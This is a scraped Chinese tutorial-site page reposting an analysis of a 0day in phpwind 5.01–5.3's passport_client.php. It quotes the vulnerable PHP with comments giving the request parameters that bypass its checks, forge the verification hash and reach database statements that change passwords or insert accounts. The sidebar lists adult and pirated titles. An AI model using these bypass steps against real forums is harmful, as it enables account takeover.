All articles| All Pictures| All Softwares| All Video| Go home page| Write articles| Upload pictures

Reading number is top 10 articles
扩展GridView(二)——给字段标题加上排序状态_[Asp.Net教程]
“ConnectionString,属性尚未初始化”的另类解决办法_[Asp.Net教程]
Linux下Apache并发连接数和带宽控制_php资料_编程技术
必学:设计ASP.NET应用程序的七大绝招_php资料_编程技术
Delphi带背景的工具栏实例
visual c++定制状态栏
ASP.NET之上传文件管理策略_[Asp.Net教程]
asp.net(C#)海量数据表高效率分页算法(不使用存储过程)_[Asp.Net教程]
无废话C#设计模式之七:Adapter_.net资料_编程技术
ASP.NET2.0的新增服务、控件与功能_[Asp.Net教程]
Reading number is top 10 pictures
中国处女图鉴1
In the world the most mysterious 21 place landscape1
Absolutely shocked. National geographic 50 animal photographys7
奇趣的世界记录2
邪恶搞笑内涵图
中国女孩大胆自拍,显露完美身材
Sora aoi in China2
Sora aoi in China3
运动的范冰冰1
Cesarean section, bloody, silently into it!1
Download software ranking
XML+Web+Service开发教程
Tram sex maniac 2 (H) rar bag3
asp.netWeb服务器高级编程
Tram sex maniac 2 (H) rar bag8
Unix video tutorial13
Sora aoi 120 minutes
徐若瑄成名作“魔鬼天使”
艳兽都市
Eclipse 4.2.2 For Win32
White deer villiage
aaa published in(发表于) 2013/12/27 20:02:06 Edit(编辑)
关于phpwind,5.01-5.3,0day的分析文章_php资料_编程技术

关于phpwind,5.01-5.3,0day的分析文章_php资料_编程技术

关于phpwind 5.01-5.3 0day的分析文章_php资料_编程技术-你的首页-uuhomepage.com
今天要luoluo牛抓了下包,这个漏洞挺牛的 :)
passport_client.php 里变量没有初始化可以绕过那些判断:

if(!$passport_ifopen || $passport_type != 'client'){
exit("Passport closed(PHPWind)");
}//提交:passport_ifopen =1&passport_type=client绕过


if(md5($action.$userdb.$forward.$passport_key) != $verify){
exit('Illegal request(PHPWind)');
} //里面的变量都可以自定义,所以你可以sy一下绕过

parse_str(StrCode($userdb,'DECODE'),$userdb); //注意StrCode($userdb,'DECODE'),所以你要把你提交的变量$userdb,StrCode($userdb,'DECODE')编码一下

if($action=='login'){//提交action=login

if(!$userdb['time'] || !$userdb['username'] || !$userdb['password']){
exit("Lack of parameters(PHPWind)");
}//提交的 $userdb解码以后要有这些数据

if($timestamp-$userdb['time']>3600){
exit('Passport request expired(PHPWind)');
}//提交时间userdb['time'] 大一点
.....
$rt=$db->get_one("SELECT uid $sql FROM pw_members WHERE username='$userdb[username]'");
if($rt){ //如果有这个用户的话调用下面的语句修改密码等

$sql && $db->update("UPDATE pw_members SET $sql WHERE uid='$rt[uid]'");
$sql2 && $db->update("UPDATE pw_memberdata SET $sql2 WHERE uid='$rt[uid]'");

}else{//如果没有这个用户就会调用下面的增加一个

$db->update("REPLACE INTO pw_members($sql1,groupid,memberid,gender,regdate,signchange) VALUES($sql2,'-1','8','0','$timestamp','1')");





添加到del.icio.us 添加到新浪ViVi 添加到百度搜藏 添加到POCO网摘 添加到天天网摘365Key 添加到和讯网摘 添加到天极网摘 添加到黑米书签 添加到QQ书签 添加到雅虎收藏 添加到奇客发现 diigo it 添加到饭否 添加到飞豆订阅 添加到抓虾收藏 添加到鲜果订阅 digg it 貼到funP 添加到有道阅读 Live Favorites 添加到Newsvine 打印本页 用Email发送本页 在Facebook上分享


Disclaimer Privacy Policy About us Site Map

If you have any requirements, please contact webmaster。(如果有什么要求,请联系站长)
Copyright ©2011-
uuhomepage.com, Inc. All rights reserved.